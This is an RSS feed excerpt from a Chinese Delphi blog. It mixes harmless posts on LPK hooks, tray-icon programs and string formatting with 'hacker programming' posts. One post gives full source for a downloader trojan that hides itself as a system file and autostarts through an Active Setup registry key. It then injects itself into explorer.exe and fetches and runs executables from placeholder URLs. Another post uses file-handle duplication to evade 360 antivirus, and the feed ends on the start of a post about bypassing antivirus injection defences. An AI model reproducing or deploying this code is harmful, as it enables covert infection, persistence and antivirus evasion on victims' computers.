最后的最后，再介绍一个未公开函数InitializeLpkHooks，这个函数在网上能找到的资料更少，只有一个声明而已。但是它名称中最后那个&ldquo;Hooks&rdquo;误导了我，我以为又是一个可以用来注入DLL的不错函数，用OD反出来一看，原来只是个局部HOOK而已。虽然没太大用，还是一并写上吧，也许谁用得着呢。InitializeLpkHooks顾名思义就是HOOK LPK的，Windows有个lpk.dll，就是支持多语言包的那么个功能。测试发现好多程序在TextOut之前似乎是要调用lpk.dll里面的相关函数的，可能是支持多语言的程序就需要用这个来判断到底要显示那种语言吧。而InitializeLpkHooks，就是用来HOOK lpk.dll里面的4个函数的，这4个函数是LpkTabbedTextOut，LpkPSMTextOut，LpkDrawTextEx，LpkEditControl。我们先打开VB，在窗体中加入以下代码吧： <br />
Private Sub Form_Load() <br />
DLLhwnd = LoadLibrary(&quot;lpk.dll&quot;)&nbsp; '加载DLL <br />
DLLFunDre = GetProcAddress(DLLhwnd, &quot;LpkDrawTextEx&quot;)&nbsp; '获取回调函数地址 <br />
<br />
LpkHooksInfo.lpHookProc_LpkTabbedTextOut = 0 <br />
LpkHooksInfo.lpHookProc_LpkPSMTextOut = 0 <br />
LpkHooksInfo.lpHookProc_LpkDrawTextEx = GetLocalProcAdress(AddressOf HookProc1)&nbsp; '设置要HOOK的LPK函数 <br />
LpkHooksInfo.lpHookProc_LpkEditControl = 0 <br />
InitializeLpkHooks LpkHooksInfo <br />
End Sub <br />
<br />
Private Sub Form_Unload(Cancel As Integer) <br />
LpkHooksInfo.lpHookProc_LpkTabbedTextOut = 0 <br />
LpkHooksInfo.lpHookProc_LpkPSMTextOut = 0 <br />
LpkHooksInfo.lpHookProc_LpkDrawTextEx = DLLFunDre <br />
LpkHooksInfo.lpHookProc_LpkEditControl = 0 <br />
InitializeLpkHooks LpkHooksInfo <br />
FreeLibrary DLLhwnd <br />
End Sub <br />
<br />
<br />
然后新建一个模块，在模块中加入以下代码： <br />
Public Declare Function LoadLibrary Lib &quot;kernel32&quot; Alias &quot;LoadLibraryA&quot; (ByVal lpLibFileName As String) As Long <br />
Public Declare Function GetProcAddress Lib &quot;kernel32&quot; (ByVal hModule As Long, ByVal lpProcName As String) As Long <br />
Public Declare Function FreeLibrary Lib &quot;kernel32&quot; (ByVal hLibModule As Long) As Long <br />
' ----------------未公开函数-------------------------------------- <br />
Public Declare Sub InitializeLpkHooks Lib &quot;user32&quot; (lpProcType As Any) <br />
<br />
Type LpkHooksSetting <br />
&nbsp; &nbsp; lpHookProc_LpkTabbedTextOut As Long <br />
&nbsp; &nbsp; lpHookProc_LpkPSMTextOut As Long <br />
&nbsp; &nbsp; lpHookProc_LpkDrawTextEx As Long <br />
&nbsp; &nbsp; lpHookProc_LpkEditControl As Long <br />
End Type <br />
<br />
' ------------------------------- <br />
Public DLLhwnd As Long, DLLFunDre As Long <br />
Public LpkHooksInfo As LpkHooksSetting <br />
<br />
Public Function GetLocalProcAdress(ByVal lpProc As Long) As Long <br />
GetLocalProcAdress = lpProc <br />
End Function <br />
<br />
Function HookProc1(ByVal a1 As Long, ByVal a2 As Long, ByVal a3 As Long, ByVal a4 As Long, ByVal a5 As Long, ByVal a6 As Long, ByVal a7 As Long, ByVal a8 As Long, ByVal a9 As Long, ByVal a10 As Long) As Long <br />
HookProc1 = 0 <br />
End Function <br />
<br />
运行一下看看，是不是窗体中标题栏和按钮上的文字都没有了，因为我们把函数LpkDrawTextEx替换成自己的函数HookProc1了。这个函数有10个参数，其中几个好像是字符串指针，似乎可以用来截获窗体要显示的文字，然后改成另一种语言的文字，我猜想，也许就是这个用途吧。哈哈，纯属猜测。以上就是函数InitializeLpkHooks的用法了。 <br />
<br />
以上就是全部。 <br />
本文所有示例代码的下载地址是： <a href="http://www.pen88.com/download/imehook.rar" target="_blank"><font color="#002d93">http://www.pen88.com/download/imehook.rar</font></a></p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html" target="_blank">继续阅读《Ring3下注入DLL的另类方法，能过杀软和游戏NP（源码）》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/Ring3-RegisterUserApiHook.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=408</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=408&amp;key=ecdf68b8</trackback:ping></item><item><title>Delphi之托盘程序的问题全书集</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/delphiYCK/delphi-TrayIcon.html</link><pubDate>Mon, 27 Jul 2009 00:38:29 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/delphiYCK/delphi-TrayIcon.html</guid><description><![CDATA[<p>启动不显示主窗体<br />
如果通过Form1.Visible:=False;语句来实现的话，会出现主窗体一闪而过的情形。更好的办法是在OnShow事件中添加Application.ShowMainForm := False;</p>
<p>程序不出现在任务栏<br />
procedure TForm1.FormShow(Sender: TObject);<br />
begin<br />
ShowWindow(Application.Handle,SW_HIDE);<br />
end;</p>
<p>点击关闭按钮至托盘<br />
procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);<br />
begin<br />
CanClose := False;<br />
Self.Hide;<br />
end;<br />
但这儿有个问题,在&ldquo;开始&rdquo;菜单中使用关闭或重启系统时，由于程序的存在，系统总是不能关闭或重启， 然后就返回到了桌面。解决方案如下：<br />
//声明拦截WM_QueryEndSession消息的过程<br />
procedure WMQueryEndSession(var Msg: TMessage); message WM_QueryEndSession;</p>
<p>procedure TForm1.WMQueryEndSession(var Msg: TMessage);<br />
begin<br />
&nbsp;&nbsp; Msg.Result := 1;<br />
end;<br />
经测试，系统关机时不会执行OnClose事件，但会执行OnDestroy事件。另Raize托盘控件RzTrayIcon有QueryEndSession(Sender: TObject;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var AllowSessionToEnd: Boolean);事件，把AllowSessionToEnd置为真亦可。</p>
<p>最小化到托盘<br />
procedure WMSysCommand(var Msg: TWMSysCommand); message WM_SYSCOMMAND;</p>
<p>procedure TForm1.WMSysCommand(var Msg: TWMSysCommand);<br />
begin<br />
if Msg.CmdType = SC_MINIMIZE then<br />
&nbsp;&nbsp;&nbsp; Self.Close<br />
else<br />
&nbsp;&nbsp;&nbsp; inherited;<br />
end;</p>
<p><br />
最大化和最小化时的动画<br />
Type<br />
TZoomAction = (zaMinimize, zaMaximize);</p>
<p>procedure ZoomEffect(AForm: TForm; AOperation: TZoomAction);<br />
var<br />
rcStart, rcEnd, rcTray: TRect;<br />
hwndTray, hwndChild: hWnd;<br />
begin<br />
// 寻找系统托盘区的位置<br />
hwndTray := FindWindow('Shell_TrayWnd', nil);<br />
hwndChild := FindWindowEx(hwndTray, 0, 'TrayNotifyWnd', nil);<br />
GetWindowRect(hwndChild, rcTray);<br />
//点击用于最大化/最小化，并切换起始/结束<br />
if AOperation = zaMinimize then<br />
begin<br />
&nbsp;&nbsp;&nbsp; rcStart := AForm.BoundsRect;<br />
&nbsp;&nbsp;&nbsp; rcEnd := rcTray;<br />
end<br />
else begin<br />
&nbsp;&nbsp;&nbsp; rcEnd := AForm.BoundsRect;<br />
&nbsp;&nbsp;&nbsp; rcStart := rcTray;<br />
end;<br />
DrawAnimatedRects(AForm.Handle, IDANI_CAPTION, rcStart, rcEnd);<br />
end;<br />
再分别在OnCloseQuery中添加<br />
ZoomEffect(Self, zaMinimize);<br />
在OnShow中添加<br />
ZoomEffect(Self, zaMaximize);</p>
<p>左击托盘显示或者隐藏<br />
在托盘的左击事件中添加<br />
if Self.Showing then<br />
&nbsp;&nbsp;&nbsp; Self.Close<br />
else begin<br />
&nbsp;&nbsp;&nbsp; Self.Show;<br />
&nbsp;&nbsp;&nbsp; SetForegroundWindow(Application.Handle);<br />
end</p>
<p>窗体是否处于激活状态<br />
procedure WM_ACTIVATEAPP( var Message:TWMACTIVATEAPP); message WM_ACTIVATEAPP;</p>
<p>procedure TForm1.WMACTIVATEAPP(var message: TWMACTIVATEAPP);<br />
begin<br />
//是否处于激活窗体状态Message.Active<br />
end;</p>
<p>窗体是否最小化状态<br />
if IsIconic(Self.Handle) then <br />
ShowWindow(Self.Handle, SW_RESTORE);</p>
<p>程序总是显示在最上面<br />
简单的办法是Self.FormStyle := fsStayOnTop；但会出现闪烁，比较好的办法如下<br />
if not ShowOnTop then<br />
&nbsp;&nbsp; SetWindowPos(Self.Handle , HWND_NOTOPMOST, 0,0,0,0, SWP_NOMOVE + SWP_NOSIZE) //普通窗口<br />
else<br />
&nbsp;&nbsp; SetWindowPos(Self.Handle, HWND_TOPMOST, 0,0, 0,0, SWP_NOMOVE + SWP_NOSIZE); //最上面</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/delphiYCK/delphi-TrayIcon.html" target="_blank">继续阅读《Delphi之托盘程序的问题全书集》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiXITONG/143.html" title="利用Delphi实现系统状态栏图标">利用Delphi实现系统状态栏图标</a>&nbsp;&nbsp;(2008-10-30 21:31:8)</p></ul>]]></description><category>应用窗口</category><comments>http://www.abcxd.com/delphi/abcxddelphi/delphiYCK/delphi-TrayIcon.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=407</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=407&amp;key=5ea7126f</trackback:ping></item><item><title>[私家货]加号显示与Format区别</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/delphizhj/Format-jiahao.html</link><pubDate>Mon, 15 Jun 2009 17:40:23 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/delphizhj/Format-jiahao.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：今天无聊的时候测试了一下加号和Format的区别，结果发现使用格式化输出并没有加号输出快。有的时候二者扯平。。。特意发出来给大家看看。。还有学习一下格式化输出对你是很有帮助的...</span></p>
<p>转贴请注明：<a href="http://www.abcxd.com/">http://www.abcxd.com</a></p>
<p>例图:</p>
<p>&nbsp;&nbsp; <img title="" alt="" src="http://www.abcxd.com/delphi/upload/200906151755037565.gif" /></p>
<p>首先是加号显示的位置</p>
<div class="codes">
<pre class="delphi" name="code">
procedure TForm1.Button1Click(Sender: TObject);
var
  t1,t2:int64;//计时器
  i:Integer;
begin
  Memo1.Clear;
  t1:=GetTickCount();
  for i:=0 to 1000 do
  begin
    memo1.Lines.Add('心动吧'+'吧动心'+'动吧心'+inttostr(i));
  end;
  t2:=GetTickCount();
  Label2.Caption := FloatToStr((t2-t1)/1000);
end;</pre>
</div>
<p>然后到Format组合显示</p>
<div class="codes">
<pre class="delphi" name="code">
procedure TForm1.Button2Click(Sender: TObject);
var
  t1,t2:int64;//计时器
  i:Integer;
begin
  Memo1.Clear;
  t1:=GetTickCount();
  for i:=0 to 1000 do
  begin
    memo1.Lines.Add(Format('%s%s%s%s',['心动吧','吧动心','动吧心',inttostr(i)]));
  end;
  t2:=GetTickCount();
  Label4.Caption := FloatToStr((t2-t1)/1000);
end;</pre>
</div>
<p>&nbsp;格式化输出具体表:转自万一博客</p>
<div class="codes">
<pre class="delphi" name="code">
var
  s: string;
begin
  //指令类型 type

  s := Format('最大整数是: %d; 最小整数是: %d',[MaxInt,Low(Integer)]);
  //返回: 最大整数是: 2147483647; 最小整数是: -2147483648
  { 提示: 格式指令必须以 % 开始, 不区分大小写, %d 代表一个整数; 第二个参数是一个变体数组 }

  s := Format('最大的无负号整数是: %u',[High(Cardinal)]);
  //返回: 最大的无负号整数是: 4294967295
  { %u表示一个无负号整数 }

  s := Format('输入-2的结果是: %u',[-2]);
  //返回: 输入-2的结果是: 4294967294
  { 如果对应 %u 的是个负数, 则返回: 无负号整数最大值 - 这个数的绝对值 + 1 }

  s := Format('%s! %s',['你好','我是万一']);
  //返回: 你好! 我是万一
  { %s 表示字符串 }

  s := Format('%f',[Pi]);
  //返回: Pi的值是: 3.14
  { %f 表示浮点数, 保留或凑够两位小数点 }

  s := Format('%g',[01.2345000]);
  //返回: 1.2345
  { %g 表示浮点数, 会去掉多余的 0 }

  s := Format('%n',[12345.6789]);
  //返回: 12,345.68
  { %n 表示浮点数, 整数部分使用千位分隔符, 保留两位小数点 }

  s := Format('%m',[12345.6789]);
  //返回: ￥12,345.68
  { %m 表示浮点数, 加货币记号, 转换结果取决于系统的地域设置 }

  s := Format('%e',[12345.6789]);
  //返回: 1.23456789000000E+004
  { %e 用科学计数法表示整数或浮点数 }

  s := Format('%p',[@Self]);
  //返回: 0012F5BC
  { %p 表示指针地址, 用十六进制表示 }

  s := Format('%x',[255]);
  //返回: FF
  { %x 用十六进制表示一个整数 }


  //Index

  s := Format('%s%s',['万','一']);
  s := Format('%0:s%1:s',['万','一']);
  //返回: 万一
  { 上面两行的结果是一样的, 0: 对应数组中的第一个值; 1: 对应数组中的第二个值 }

  s := Format('%1:s%0:s',['万','一']);
  //返回: 一万
  { 翻转了一下顺序 }

  s := Format('%1:s%0:s%0:s%1:s',['万','一']);
  //返回: 一万万一
  { 反复使用 }


  //Width 与对齐方式

  s := Format('%d,%8d,%d',[1,2,3]);
  //返回: 1,       2,3
  { 给第二个值指定了8个字符的宽度, 缺少的用空格填充; 如果指定少了则无效 }

  s := Format('%d,%-8d,%d',[1,2,3]);
  //返回: 1,2       ,3
  { - 表示左对齐, 默认是右对齐的; - 符号在 Width 前面、Index 后面 }


  //指定精度 prec

  s := Format('%.9f',[Pi]);
  //返回: 3.141592654
  { 指定小数点的位数, 取值范围1-9, 输入0也当1用 }

  s := Format('%.5d',[12]);
  //返回: 00012
  { 这是给整数指定位数, 如果小了则无效 }

  s := Format('%.3s',['Format']);
  //返回: For
  { 给字符串指定位数, 如果大了则无效 }

  s := Format('%.3e',[123.456]);
  //返回: 1.23E+002
  { 给科学计数法指定位数 }


  //指令顺序:

  { &quot;%&quot; [index &quot;:&quot;] [&quot;-&quot;] [width] [&quot;.&quot; prec] type }

  ShowMessage(s);
end;
</pre>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/delphizhj/Format-jiahao.html" target="_blank">继续阅读《[私家货]加号显示与Format区别》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIAPI/delphi-QueryPerformanceFrequency.html" title="delphi计时器:DELPHI高精度计时方法">delphi计时器:DELPHI高精度计时方法</a>&nbsp;&nbsp;(2009-5-5 0:30:17)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIJQ/Format.html" title="格式化输出函数(1): Format">格式化输出函数(1): Format</a>&nbsp;&nbsp;(2009-2-20 17:0:3)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphizhj/yongTXTcunqubukejiandeASCIIzifu-fangfa.html" title="用TXT存取不可见的ASCII字符-方法">用TXT存取不可见的ASCII字符-方法</a>&nbsp;&nbsp;(2008-12-28 23:43:30)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphizhj/baliuzongdezifu.html" title="把流中的字符串转换为 UTF 格式">把流中的字符串转换为 UTF 格式</a>&nbsp;&nbsp;(2008-12-27 3:27:20)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiDIRAA/231.html" title="如何将字符串用二进制模式写入文件">如何将字符串用二进制模式写入文件</a>&nbsp;&nbsp;(2008-10-31 1:37:10)</p></ul>]]></description><category>字符串</category><comments>http://www.abcxd.com/delphi/abcxddelphi/delphizhj/Format-jiahao.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=406</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=406&amp;key=c2486f27</trackback:ping></item><item><title>ActiveX启动下载者（delphi）</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html</link><pubDate>Sun, 14 Jun 2009 16:03:06 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：看的是思想，不可以复制他的。因为这里的代码需要好好的修改下</span></p>
<div class="codes">
<pre class="delphi" name="code">
program InjectTheSelf;

{$IMAGEBASE $13140000}

uses
Windows;

var
//动态加载shell32.dll中的ShellExecuteA函数
ShellRun:function (hWnd: HWND; Operation, FileName, Parameters,Directory: PChar; ShowCmd: Integer):Cardinal; stdcall;
//动态加载Urlmon.dll中的UrlDownloadToFileA函数
Downfile:function (Caller: pointer; URL: PChar; FileName: PChar; Reserved:LongWord; StatusCB: pointer): Longint; stdcall;
hShell,hUrlmon: THandle;


//插入IE需要用到的函数
function GetIEAppPath:string;
var
iekey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin
vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\IEXPLORE.EXE',0,KEY_ALL_ACCESS,iekey);
dLength := SizeOf(iename);
if RegQueryValueEx(iekey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := '%programfiles%\Internet Explorer\IEXPLORE.EXE';
RegCloseKey(iekey);
end;
//写注册表 用到的函数 为activeX启动准备
function Skrivreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);

end;

//插入media player用到的函数
function GetwmAppPath:string;
var
wmkey: Hkey;
iename: array [0..255] of char;
vType,dLength :DWORD;
begin

vType := REG_SZ;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.EXE',0,KEY_ALL_ACCESS,wmkey);
dLength := SizeOf(iename);
if RegQueryValueEx(wmkey, '' , nil, @vType, @iename[0], @dLength) = 0 then
Result := iename
else
Result := '%programfiles%\Windows Media Player\wmplayer.EXE';
RegCloseKey(wmkey);
end;

procedure Download; //下载过程
begin
LoadLibrary('kernel32.dll');
LoadLibrary('user32.dll');
hShell:=LoadLibrary('Shell32.dll');
hUrlmon:=LoadLibrary('unlmon.dll');
@ShellRun:= GetProcAddress(hShell,'ShellExecuteA');
@Downfile:= GetProcAddress(hUrlmon,'URLDownloadToFileA');
Downfile(nil,'http://x1xxxxxxxxxxxxxxxxxxxx                         ','C:\WINDOWS\Temp\system1.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system1.exe',nil,nil,5);

Downfile(nil,'http://x2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system2.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system2.exe',nil,nil,5);

Downfile(nil,'http://x3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system3.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system3.exe',nil,nil,5);

Downfile(nil,'http://x4xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system4.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system4.exe',nil,nil,5);

Downfile(nil,'http://x5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system5.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

Downfile(nil,'http://x6xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system6.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system6.exe',nil,nil,5);

Downfile(nil,'http://x7xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system7.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system5.exe',nil,nil,5);

Downfile(nil,'http://x8xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system8.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system8.exe',nil,nil,5);

Downfile(nil,'http://x9xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\system9.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\system9.exe',nil,nil,5);

Downfile(nil,'http://xAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemA.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\systemA.exe',nil,nil,5);

Downfile(nil,'http://xBxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx          ','C:\WINDOWS\Temp\systemB.exe', 0, nil);
ShellRun(0,'open','C:\WINDOWS\Temp\systemB.exe',nil,nil,5);


ExitProcess(0);
end;

procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
//这里得到的值为一个返回指针型变量,指向内容包括进程映像的基址
Module := Pointer(GetModuleHandle(nil));
//得到内存映像的长度
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew +
SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
//在Exp进程的内存范围内分配一个足够长度的内存
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
//确定起始基址和内存映像基址的位置
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//确定上面各项数据后,这里开始进行操作
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
//建立远程线程,至此注入过程完成
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID); 
end;

procedure RunInject(InjType:integer);
var
ProcessHandle, PID: longword;

begin
if InjType=0 then //注入explorer.exe
begin
//获取Exp进程的PID码
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @Pid);
end
else
if InjType=3 then //注入 media player
begin
winexec(PChar(GetwmAppPath),sw_hide);
sleep(500);
GetWindowThreadProcessId(FindWindow('WMPlayerApp', nil), @Pid);
end
else //注入iexplore.exe
begin
//CreateProcess(nil,PChar(GetIEAppPath), nil, nil, False, 0, nil, nil, StartupInfo, ProcessInfo);
winexec(PChar(GetIEAppPath),sw_hide);
sleep(500);
GetWindowThreadProcessId(FindWindow('IEFrame', nil), @Pid);
end;
//打开进程
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle, @Download);
//关闭对像
CloseHandle(ProcessHandle);
end;


BEGIN

CopyFile('C:\windows\system32\urlmon.dll','C:\windows\system32\unlmon.dll',true) ;
copyfile(pchar(paramstr(0)),pchar('C:\Program Files\Internet Explorer\iede.exe'),true);
SetFileAttributes( 'C:\Program Files\Internet Explorer\iede.exe',
FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM );//设置文件系统隐藏属性
//activex自启动
skrivreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Active Setup\Installed Components\{926A036A-158B-047A-E269-D148B0369C14}','StubPath','C:\Program Files\Internet Explorer\iede.exe');
RunInject(0); //这里改为 ：1 注入iexplore.exe 0 注入explorer.exe 3注人media player
end.</pre>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html" target="_blank">继续阅读《ActiveX启动下载者（delphi）》的全文内容...</a></p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html#comment" target="_blank">找不到相关文章，请发表流言</a></p>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/delphi-ActiveX.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=405</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=405&amp;key=ba404091</trackback:ping></item><item><title>文件占坑法过360查杀!</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html</link><pubDate>Sun, 14 Jun 2009 15:56:16 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html</guid><description><![CDATA[<p>原理是以独占的方式打开文件，再把文件句柄复制到另一个程序中去，达到本程序退出后目标文件仍被打开的目的&nbsp;</p>
<div class="codes">
<pre class="delphi" name="code">
program createfile;  
uses  
  Windows, SysUtils;  
//提权函数  
procedure SetPrivilege;  
var  
  TPPrev, TP: TTokenPrivileges;  
  TokenHandle: THandle;  
  dwRetLen: DWORD;  
  lpLuid: TLargeInteger;  
begin  
  OpenProcessToken(GetCurrentProcess, TOKEN_ALL_ACCESS, TokenHandle);  
  if (LookupPrivilegeValue(nil, &rsquo;SeDebugPrivilege&rsquo;, lpLuid)) then  
  begin  
    TP.PrivilegeCount := 1;  
    TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  
    TP.Privileges[0].Luid := lpLuid;  
    AdjustTokenPrivileges(TokenHandle, False, TP, SizeOf(TPPrev), TPPrev, dwRetLen);  
  end;  
  CloseHandle(TokenHandle);  
end;  
procedure OccupyFile(lpFileName: string);  
var  
  hProcess, hFile, hTargetHandle: thandle;  
begin  
　//打开一个pid为４的进程，只要是存在的进程，都可以  
  hProcess := OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);  
  if (hProcess = 0) then exit;  
  //以独占模式打开目标文件  
  hFile := CreateFileA(PChar(lpFileName), GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);  
  if (hFile = INVALID_HANDLE_VALUE) then  
  begin  
    CloseHandle(hProcess);  
    exit;  
  end;  
  //把文件句柄复制到pid=4的进程中去，这样，只要pid=4的进程不退出，谁也动不了目标文件  
  DuplicateHandle(GetCurrentProcess(), hFile, hProcess, @hTargetHandle, 0, FALSE, DUPLICATE_SAME_ACCESS or DUPLICATE_CLOSE_SOURCE);  
  CloseHandle(hProcess);    
end;  
begin  
  SetPrivilege;  
  OccupyFile(&rsquo;D:\Program Files\工具软件\任务管理.exe&rsquo;);//这是要保护的程序名  
end.  

</pre>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html" target="_blank">继续阅读《文件占坑法过360查杀!》的全文内容...</a></p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html" title="绕过主动防御的代码注入方法(非DELPHI代码)">绕过主动防御的代码注入方法(非DELPHI代码)</a>&nbsp;&nbsp;(2009-6-14 15:36:39)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/delphiMemo/ReadProcessMemory-OpenProcess-VirtualAllocEx.html" title="无法获取到某窗体中控件的句柄,应如何处理">无法获取到某窗体中控件的句柄,应如何处理</a>&nbsp;&nbsp;(2009-6-3 22:28:49)</p><p><a  href="http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/xiazaizheyuandaima.html" title="下载者源代码">下载者源代码</a>&nbsp;&nbsp;(2008-12-28 23:40:44)</p></ul>]]></description><category>黑客编程</category><comments>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/OpenProcessToken-CreateFileA.html#comment</comments><wfw:comment>http://www.abcxd.com/delphi/</wfw:comment><wfw:commentRss>http://www.abcxd.com/delphi/feed.asp?cmt=404</wfw:commentRss><trackback:ping>http://www.abcxd.com/delphi/cmd.asp?act=tb&amp;id=404&amp;key=85f16e6e</trackback:ping></item><item><title>绕过主动防御的代码注入方法(非DELPHI代码)</title><author>a63248388@163.com (kissjetg)</author><link>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html</link><pubDate>Sun, 14 Jun 2009 15:36:39 +0800</pubDate><guid>http://www.abcxd.com/delphi/abcxddelphi/DELPHIHACKER/QueueUserAPC.html</guid><description><![CDATA[<p><span style="color: #ff0000">明生注：这并非是一份DELPHI代码，但是里面的东西值得学习。如果学远程注入可以找到相关的资料所以我就转过来了</span></p>
<p>目前大多数的杀软都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE来防止代码注入。</p>
<p>关于代码注入Ring3层的方法主要有：</p>
<p>l 远程线程CreateRemoteThread</p>
<p>l 消息钩子SetWindowsHookEx</p>
<p>l Ring3 APC QueueUserApc</p>
<p>l 修改线程上下文SetContextThread</p>
